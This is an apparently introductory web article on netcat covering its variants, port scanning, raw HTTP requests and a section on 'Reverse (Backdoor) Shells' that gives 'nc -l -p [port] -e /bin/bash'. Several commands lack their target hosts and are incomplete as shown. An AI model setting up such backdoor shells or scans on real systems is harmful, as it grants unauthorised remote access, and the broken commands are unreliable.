Command nc stands for netcat, known as the swiss army knife of network tools, it’s a utility which is used for reading and writing data across TCP and UDP ports. It can be used for a lot of cool stuff, this article will take a closer look.

There are two similar packages available for netcat with a slight difference between them:

  • Traditional GNU netcat (such as Ncat in the CentOS is nmap package)
  • OpenBSD nc (such as the nc that comes with MacOS).

Their parameters are not exactly the same. For example, BSD nc cannot use -p and -l at the same time, which is easy to cause confusion for novices.


  • Linux/macOS users can quickly use in the terminal with pre-installed Nc (and Netcat on Linux)
  • Windows users will need to install Netcat’s successor, Ncat, made by the Nmap project

Using for port scanning

nc -zv 1-1000
nc -znv 1-1000
nmap -Pn
  • -z – See if the port is open without sending data
  • -n – Dont resolve, numeric-only IP addresses, no DNS lookup
  • -v – Show verbose information
  • -w – Set a timeout between the client and the target node, otherwise Netcat will continue trying until a connection is made or you manually close the attempt (Ctrl + C)

Using for HTTP Requests

printf “GET / HTTP/1.0\r\n\r\n” | nc 80

Using for Chatroom

Launching Reverse (Backdoor) Shells


nc -l -p [port] -e /bin/bash


nc -n [port]